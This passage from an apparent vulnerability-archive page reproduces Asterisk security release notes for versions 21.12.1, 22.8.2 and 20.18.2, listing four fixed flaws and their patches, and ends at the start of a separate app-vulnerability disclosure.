allow a potential XXE injection attack. Replacing it with\n XML_PARSE_NONET, which prevents network access, is safer.\n\n Resolves: #GHSA-85x7-54wr-vh42\n\n#### ast_coredumper: check ast_debug_tools.conf permissions\n Author: Mike Bradeen\n Date: 2026-01-15\n\n Prevent ast_coredumper from using ast_debug_tools.conf files that are\n not owned by root or are writable by other users or groups.\n\n Prevent ast_logescalator and ast_loggrabber from doing the same if\n they are run as root.\n\n Resolves: #GHSA-rvch-3jmx-3jf3\n\n UserNote: ast_debug_tools.conf must be owned by root and not be\n writable by other users or groups to be used by ast_coredumper or\n by ast_logescalator or ast_loggrabber when run as root.\n\n#### http.c: Change httpstatus to default disabled and sanitize output.\n Author: George Joseph\n Date: 2026-01-15\n\n To address potential security issues, the httpstatus page is now disabled\n by default and the echoed query string and cookie output is html-escaped.\n\n Resolves: #GHSA-v6hp-wh3r-cwxh\n\n UpgradeNote: To prevent possible security issues, the `/httpstatus` page\n served by the internal web server is now disabled by default. To explicitly\n enable it, set `enable_status=yes` in http.conf.\n\n#### ast_coredumper: create gdbinit file with restrictive permissions\n Author: Mike Bradeen\n Date: 2026-01-15\n\n Modify gdbinit to use the install command with explicit permissions (-m 600)\n when creating the .ast_coredumper.gdbinit file. This ensures the file is\n created with restricted permissions (readable/writable only by the owner)\n to avoid potential privilege escalation.\n\n Resolves: #GHSA-xpc6-x892-v83c\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:05:58Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/8"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Feb/8"
},
{
"url": "https://downloads.asterisk.org/pub/telephony/asterisk"
},
{
"url": "https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-21.12.1.tar.gz"
},
{
"url": "https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-21.12.1.html"
},
{
"url": "https://github.com/asterisk/asterisk"
},
{
"url": "https://github.com/asterisk/asterisk/compare/21.12.0...21.12.1"
},
{
"url": "https://github.com/asterisk/asterisk/releases/tag/21.12.1"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Feb/8"
],
"discovery": "EXTERNAL"
},
"title": "Asterisk Security Release 21.12.1",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0208",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/8",
"automated": true,
"contentSha256": "2a87891560a677a39539e7fee7e9a886576fe91ec5bc4d827bee5fee145c0a6a",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/8",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-02-05T16:55:03Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:42Z",
"dateUpdated": "2026-09-11T11:05:58Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0208"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0207
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-11 11:05
VLAI
EPSS
VEX
Title
Asterisk Security Release 22.8.2
Summary
The Asterisk Development Team would like to announce security release
Asterisk 22.8.2.
The release artifacts are available for immediate download at
https://github.com/asterisk/asterisk/releases/tag/22.8.2
and
https://downloads.asterisk.org/pub/telephony/asterisk
Repository: https://github.com/asterisk/asterisk
Tag: 22.8.2
## Change Log for Release asterisk-22.8.2
### Links:
- [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-22.8.2.html)
- [GitHub Diff](https://github.com/asterisk/asterisk/compare/22.8.1...22.8.2)
- [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-22.8.2.tar.gz)
- [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk)
### Summary:
- Commits: 4
- Commit Authors: 2
- Issues Resolved: 0
- Security Advisories Resolved: 4
- [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c
uses unsafe XML_PARSE_NOENT leading to potential XXE Injection
- [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper
running as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation
- [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk
embedded web server's /httpstatus page echos user supplied values(cookie and query string) without sanitization
- [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper
runs as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation
### User Notes:
- #### ast_coredumper: check ast_debug_tools.conf permissions
ast_debug_tools.conf must be owned by root and not be
writable by other users or groups to be used by ast_coredumper or
by ast_logescalator or ast_loggrabber when run as root.
### Upgrade Notes:
- #### http.c: Change httpstatus to default disabled and sanitize output.
To prevent possible security issues, the `/httpstatus` page
served by the internal web server is now disabled by default. To explicitly
enable it, set `enable_status=yes` in http.conf.
### Developer Notes:
### Commit Authors:
- George Joseph: (2)
- Mike Bradeen: (2)
## Issue and Commit Detail:
### Closed Issues:
- !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection
- !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially
leading to privilege escalation
- !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server's /httpstatus page echos user supplied values(cookie and
query string) without sanitization
- !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to
potential privilege escalation
### Commits By Author:
- #### George Joseph (2):
- #### Mike Bradeen (2):
### Commit List:
- xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.
- ast_coredumper: check ast_debug_tools.conf permissions
- http.c: Change httpstatus to default disabled and sanitize output.
- ast_coredumper: create gdbinit file with restrictive permissions
### Commit Details:
#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.
Author: George Joseph
Date: 2026-01-15
The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external
entities, could allow a potential XXE injection attack. Replacing it with
XML_PARSE_NONET, which prevents network access, is safer.
Resolves: #GHSA-85x7-54wr-vh42
#### ast_coredumper: check ast_debug_tools.conf permissions
Author: Mike Bradeen
Date: 2026-01-15
Prevent ast_coredumper from using ast_debug_tools.conf files that are
not owned by root or are writable by other users or groups.
Prevent ast_logescalator and ast_loggrabber from doing the same if
they are run as root.
Resolves: #GHSA-rvch-3jmx-3jf3
UserNote: ast_debug_tools.conf must be owned by root and not be
writable by other users or groups to be used by ast_coredumper or
by ast_logescalator or ast_loggrabber when run as root.
#### http.c: Change httpstatus to default disabled and sanitize output.
Author: George Joseph
Date: 2026-01-15
To address potential security issues, the httpstatus page is now disabled
by default and the echoed query string and cookie output is html-escaped.
Resolves: #GHSA-v6hp-wh3r-cwxh
UpgradeNote: To prevent possible security issues, the `/httpstatus` page
served by the internal web server is now disabled by default. To explicitly
enable it, set `enable_status=yes` in http.conf.
#### ast_coredumper: create gdbinit file with restrictive permissions
Author: Mike Bradeen
Date: 2026-01-15
Modify gdbinit to use the install command with explicit permissions (-m 600)
when creating the .ast_coredumper.gdbinit file. This ensures the file is
created with restricted permissions (readable/writable only by the owner)
to avoid potential privilege escalation.
Resolves: #GHSA-xpc6-x892-v83c
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Asterisk | Security Release |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Security Release",
"vendor": "Asterisk",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Asterisk Development Team via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Asterisk Development Team would like to announce security release \nAsterisk 22.8.2.\n\nThe release artifacts are available for immediate download at \nhttps://github.com/asterisk/asterisk/releases/tag/22.8.2\nand\nhttps://downloads.asterisk.org/pub/telephony/asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: 22.8.2\n\n\n## Change Log for Release asterisk-22.8.2\n\n### Links:\n\n - [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-22.8.2.html) \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/22.8.1...22.8.2) \n - [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-22.8.2.tar.gz) \n - [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk) \n\n### Summary:\n\n- Commits: 4\n- Commit Authors: 2\n- Issues Resolved: 0\n- Security Advisories Resolved: 4\n - [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c \nuses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n - [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper \nrunning as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation\n - [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk \nembedded web server\u0027s /httpstatus page echos user supplied values(cookie and query string) without sanitization\n - [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper \nruns as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation \n\n### User Notes:\n\n- #### ast_coredumper: check ast_debug_tools.conf permissions\n ast_debug_tools.conf must be owned by root and not be\n writable by other users or groups to be used by ast_coredumper or\n by ast_logescalator or ast_loggrabber when run as root.\n\n\n### Upgrade Notes:\n\n- #### http.c: Change httpstatus to default disabled and sanitize output.\n To prevent possible security issues, the `/httpstatus` page\n served by the internal web server is now disabled by default. To explicitly\n enable it, set `enable_status=yes` in http.conf.\n\n\n### Developer Notes:\n\n\n### Commit Authors:\n\n- George Joseph: (2)\n- Mike Bradeen: (2)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n - !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n - !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially \nleading to privilege escalation\n - !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server\u0027s /httpstatus page echos user supplied values(cookie and \nquery string) without sanitization\n - !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to \npotential privilege escalation \n\n### Commits By Author:\n\n- #### George Joseph (2):\n\n- #### Mike Bradeen (2):\n\n### Commit List:\n\n- xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n- ast_coredumper: check ast_debug_tools.conf permissions\n- http.c: Change httpstatus to default disabled and sanitize output.\n- ast_coredumper: create gdbinit file with restrictive permissions\n\n### Commit Details:\n\n#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n Author: George Joseph\n Date: 2026-01-15\n\n The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external\n entities, could allow a potential XXE injection attack. Replacing it with\n XML_PARSE_NONET, which prevents network access, is safer.\n\n Resolves: #GHSA-85x7-54wr-vh42\n\n#### ast_coredumper: check ast_debug_tools.conf permissions\n Author: Mike Bradeen\n Date: 2026-01-15\n\n Prevent ast_coredumper from using ast_debug_tools.conf files that are\n not owned by root or are writable by other users or groups.\n\n Prevent ast_logescalator and ast_loggrabber from doing the same if\n they are run as root.\n\n Resolves: #GHSA-rvch-3jmx-3jf3\n\n UserNote: ast_debug_tools.conf must be owned by root and not be\n writable by other users or groups to be used by ast_coredumper or\n by ast_logescalator or ast_loggrabber when run as root.\n\n#### http.c: Change httpstatus to default disabled and sanitize output.\n Author: George Joseph\n Date: 2026-01-15\n\n To address potential security issues, the httpstatus page is now disabled\n by default and the echoed query string and cookie output is html-escaped.\n\n Resolves: #GHSA-v6hp-wh3r-cwxh\n\n UpgradeNote: To prevent possible security issues, the `/httpstatus` page\n served by the internal web server is now disabled by default. To explicitly\n enable it, set `enable_status=yes` in http.conf.\n\n#### ast_coredumper: create gdbinit file with restrictive permissions\n Author: Mike Bradeen\n Date: 2026-01-15\n\n Modify gdbinit to use the install command with explicit permissions (-m 600)\n when creating the .ast_coredumper.gdbinit file. This ensures the file is\n created with restricted permissions (readable/writable only by the owner)\n to avoid potential privilege escalation.\n\n Resolves: #GHSA-xpc6-x892-v83c\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:05:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/7"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Feb/7"
},
{
"url": "https://downloads.asterisk.org/pub/telephony/asterisk"
},
{
"url": "https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-22.8.2.tar.gz"
},
{
"url": "https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-22.8.2.html"
},
{
"url": "https://github.com/asterisk/asterisk"
},
{
"url": "https://github.com/asterisk/asterisk/compare/22.8.1...22.8.2"
},
{
"url": "https://github.com/asterisk/asterisk/releases/tag/22.8.2"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Feb/7"
],
"discovery": "EXTERNAL"
},
"title": "Asterisk Security Release 22.8.2",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0207",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/7",
"automated": true,
"contentSha256": "97bef087e6f08475ab13336fcacd6fc9c293202f4bfecc0dfce2563e87fdcf75",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/7",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-02-05T16:51:10Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:42Z",
"dateUpdated": "2026-09-11T11:05:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0207"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0206
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-11 11:05
VLAI
EPSS
VEX
Title
Asterisk Security Release 20.18.2
Summary
The Asterisk Development Team would like to announce security release
Asterisk 20.18.2.
The release artifacts are available for immediate download at
https://github.com/asterisk/asterisk/releases/tag/20.18.2
and
https://downloads.asterisk.org/pub/telephony/asterisk
Repository: https://github.com/asterisk/asterisk
Tag: 20.18.2
## Change Log for Release asterisk-20.18.2
### Links:
- [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-20.18.2.html)
- [GitHub Diff](https://github.com/asterisk/asterisk/compare/20.18.1...20.18.2)
- [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-20.18.2.tar.gz)
- [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk)
### Summary:
- Commits: 4
- Commit Authors: 2
- Issues Resolved: 0
- Security Advisories Resolved: 4
- [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c
uses unsafe XML_PARSE_NOENT leading to potential XXE Injection
- [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper
running as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation
- [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk
embedded web server's /httpstatus page echos user supplied values(cookie and query string) without sanitization
- [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper
runs as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation
### User Notes:
- #### ast_coredumper: check ast_debug_tools.conf permissions
ast_debug_tools.conf must be owned by root and not be
writable by other users or groups to be used by ast_coredumper or
by ast_logescalator or ast_loggrabber when run as root.
### Upgrade Notes:
- #### http.c: Change httpstatus to default disabled and sanitize output.
To prevent possible security issues, the `/httpstatus` page
served by the internal web server is now disabled by default. To explicitly
enable it, set `enable_status=yes` in http.conf.
### Developer Notes:
### Commit Authors:
- George Joseph: (2)
- Mike Bradeen: (2)
## Issue and Commit Detail:
### Closed Issues:
- !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection
- !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially
leading to privilege escalation
- !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server's /httpstatus page echos user supplied values(cookie and
query string) without sanitization
- !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to
potential privilege escalation
### Commits By Author:
- #### George Joseph (2):
- #### Mike Bradeen (2):
### Commit List:
- xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.
- ast_coredumper: check ast_debug_tools.conf permissions
- http.c: Change httpstatus to default disabled and sanitize output.
- ast_coredumper: create gdbinit file with restrictive permissions
### Commit Details:
#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.
Author: George Joseph
Date: 2026-01-15
The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external
entities, could allow a potential XXE injection attack. Replacing it with
XML_PARSE_NONET, which prevents network access, is safer.
Resolves: #GHSA-85x7-54wr-vh42
#### ast_coredumper: check ast_debug_tools.conf permissions
Author: Mike Bradeen
Date: 2026-01-15
Prevent ast_coredumper from using ast_debug_tools.conf files that are
not owned by root or are writable by other users or groups.
Prevent ast_logescalator and ast_loggrabber from doing the same if
they are run as root.
Resolves: #GHSA-rvch-3jmx-3jf3
UserNote: ast_debug_tools.conf must be owned by root and not be
writable by other users or groups to be used by ast_coredumper or
by ast_logescalator or ast_loggrabber when run as root.
#### http.c: Change httpstatus to default disabled and sanitize output.
Author: George Joseph
Date: 2026-01-15
To address potential security issues, the httpstatus page is now disabled
by default and the echoed query string and cookie output is html-escaped.
Resolves: #GHSA-v6hp-wh3r-cwxh
UpgradeNote: To prevent possible security issues, the `/httpstatus` page
served by the internal web server is now disabled by default. To explicitly
enable it, set `enable_status=yes` in http.conf.
#### ast_coredumper: create gdbinit file with restrictive permissions
Author: Mike Bradeen
Date: 2026-01-15
Modify gdbinit to use the install command with explicit permissions (-m 600)
when creating the .ast_coredumper.gdbinit file. This ensures the file is
created with restricted permissions (readable/writable only by the owner)
to avoid potential privilege escalation.
Resolves: #GHSA-xpc6-x892-v83c
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Asterisk | Security Release |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Security Release",
"vendor": "Asterisk",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Asterisk Development Team via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Asterisk Development Team would like to announce security release \nAsterisk 20.18.2.\n\nThe release artifacts are available for immediate download at \nhttps://github.com/asterisk/asterisk/releases/tag/20.18.2\nand\nhttps://downloads.asterisk.org/pub/telephony/asterisk\n\nRepository: https://github.com/asterisk/asterisk\nTag: 20.18.2\n\n\n## Change Log for Release asterisk-20.18.2\n\n### Links:\n\n - [Full ChangeLog](https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-20.18.2.html) \n - [GitHub Diff](https://github.com/asterisk/asterisk/compare/20.18.1...20.18.2) \n - [Tarball](https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-20.18.2.tar.gz) \n - [Downloads](https://downloads.asterisk.org/pub/telephony/asterisk) \n\n### Summary:\n\n- Commits: 4\n- Commit Authors: 2\n- Issues Resolved: 0\n- Security Advisories Resolved: 4\n - [GHSA-85x7-54wr-vh42](https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42): Asterisk xml.c \nuses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n - [GHSA-rvch-3jmx-3jf3](https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3): ast_coredumper \nrunning as root sources ast_debug_tools.conf from /etc/asterisk; potentially leading to privilege escalation\n - [GHSA-v6hp-wh3r-cwxh](https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh): The Asterisk \nembedded web server\u0027s /httpstatus page echos user supplied values(cookie and query string) without sanitization\n - [GHSA-xpc6-x892-v83c](https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c): ast_coredumper \nruns as root, and writes gdb init file to world writeable folder; leading to potential privilege escalation \n\n### User Notes:\n\n- #### ast_coredumper: check ast_debug_tools.conf permissions\n ast_debug_tools.conf must be owned by root and not be\n writable by other users or groups to be used by ast_coredumper or\n by ast_logescalator or ast_loggrabber when run as root.\n\n\n### Upgrade Notes:\n\n- #### http.c: Change httpstatus to default disabled and sanitize output.\n To prevent possible security issues, the `/httpstatus` page\n served by the internal web server is now disabled by default. To explicitly\n enable it, set `enable_status=yes` in http.conf.\n\n\n### Developer Notes:\n\n\n### Commit Authors:\n\n- George Joseph: (2)\n- Mike Bradeen: (2)\n\n## Issue and Commit Detail:\n\n### Closed Issues:\n\n - !GHSA-85x7-54wr-vh42: Asterisk xml.c uses unsafe XML_PARSE_NOENT leading to potential XXE Injection\n - !GHSA-rvch-3jmx-3jf3: ast_coredumper running as root sources ast_debug_tools.conf from /etc/asterisk; potentially \nleading to privilege escalation\n - !GHSA-v6hp-wh3r-cwxh: The Asterisk embedded web server\u0027s /httpstatus page echos user supplied values(cookie and \nquery string) without sanitization\n - !GHSA-xpc6-x892-v83c: ast_coredumper runs as root, and writes gdb init file to world writeable folder; leading to \npotential privilege escalation \n\n### Commits By Author:\n\n- #### George Joseph (2):\n\n- #### Mike Bradeen (2):\n\n### Commit List:\n\n- xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n- ast_coredumper: check ast_debug_tools.conf permissions\n- http.c: Change httpstatus to default disabled and sanitize output.\n- ast_coredumper: create gdbinit file with restrictive permissions\n\n### Commit Details:\n\n#### xml.c: Replace XML_PARSE_NOENT with XML_PARSE_NONET for xmlReadFile.\n Author: George Joseph\n Date: 2026-01-15\n\n The xmlReadFile XML_PARSE_NOENT flag, which allows parsing of external\n entities, could allow a potential XXE injection attack. Replacing it with\n XML_PARSE_NONET, which prevents network access, is safer.\n\n Resolves: #GHSA-85x7-54wr-vh42\n\n#### ast_coredumper: check ast_debug_tools.conf permissions\n Author: Mike Bradeen\n Date: 2026-01-15\n\n Prevent ast_coredumper from using ast_debug_tools.conf files that are\n not owned by root or are writable by other users or groups.\n\n Prevent ast_logescalator and ast_loggrabber from doing the same if\n they are run as root.\n\n Resolves: #GHSA-rvch-3jmx-3jf3\n\n UserNote: ast_debug_tools.conf must be owned by root and not be\n writable by other users or groups to be used by ast_coredumper or\n by ast_logescalator or ast_loggrabber when run as root.\n\n#### http.c: Change httpstatus to default disabled and sanitize output.\n Author: George Joseph\n Date: 2026-01-15\n\n To address potential security issues, the httpstatus page is now disabled\n by default and the echoed query string and cookie output is html-escaped.\n\n Resolves: #GHSA-v6hp-wh3r-cwxh\n\n UpgradeNote: To prevent possible security issues, the `/httpstatus` page\n served by the internal web server is now disabled by default. To explicitly\n enable it, set `enable_status=yes` in http.conf.\n\n#### ast_coredumper: create gdbinit file with restrictive permissions\n Author: Mike Bradeen\n Date: 2026-01-15\n\n Modify gdbinit to use the install command with explicit permissions (-m 600)\n when creating the .ast_coredumper.gdbinit file. This ensures the file is\n created with restricted permissions (readable/writable only by the owner)\n to avoid potential privilege escalation.\n\n Resolves: #GHSA-xpc6-x892-v83c\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:05:52Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/6"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Feb/6"
},
{
"url": "https://downloads.asterisk.org/pub/telephony/asterisk"
},
{
"url": "https://downloads.asterisk.org/pub/telephony/asterisk/asterisk-20.18.2.tar.gz"
},
{
"url": "https://downloads.asterisk.org/pub/telephony/asterisk/releases/ChangeLog-20.18.2.html"
},
{
"url": "https://github.com/asterisk/asterisk"
},
{
"url": "https://github.com/asterisk/asterisk/compare/20.18.1...20.18.2"
},
{
"url": "https://github.com/asterisk/asterisk/releases/tag/20.18.2"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-85x7-54wr-vh42"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-rvch-3jmx-3jf3"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-v6hp-wh3r-cwxh"
},
{
"url": "https://github.com/asterisk/asterisk/security/advisories/GHSA-xpc6-x892-v83c"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Feb/6"
],
"discovery": "EXTERNAL"
},
"title": "Asterisk Security Release 20.18.2",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0206",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/6",
"automated": true,
"contentSha256": "370a38b08b374de37c97cc9e9010dc925f5c403d07dec7b440bc15160a9fcb4f",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/6",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-02-05T16:49:03Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:42Z",
"dateUpdated": "2026-09-11T11:05:52Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0206"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2025-0002
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-11 11:00
VLAI
EPSS
VEX
Title
Security Vulnerability in Koller Secret: Real Hidden App (com.koller.secret.hidemyphoto)
Summary
Hello Full Disclosure,
I would like to disclose a security vulnerability identified in a
smartphone application: *Koller Secret: Real Hidden App*.
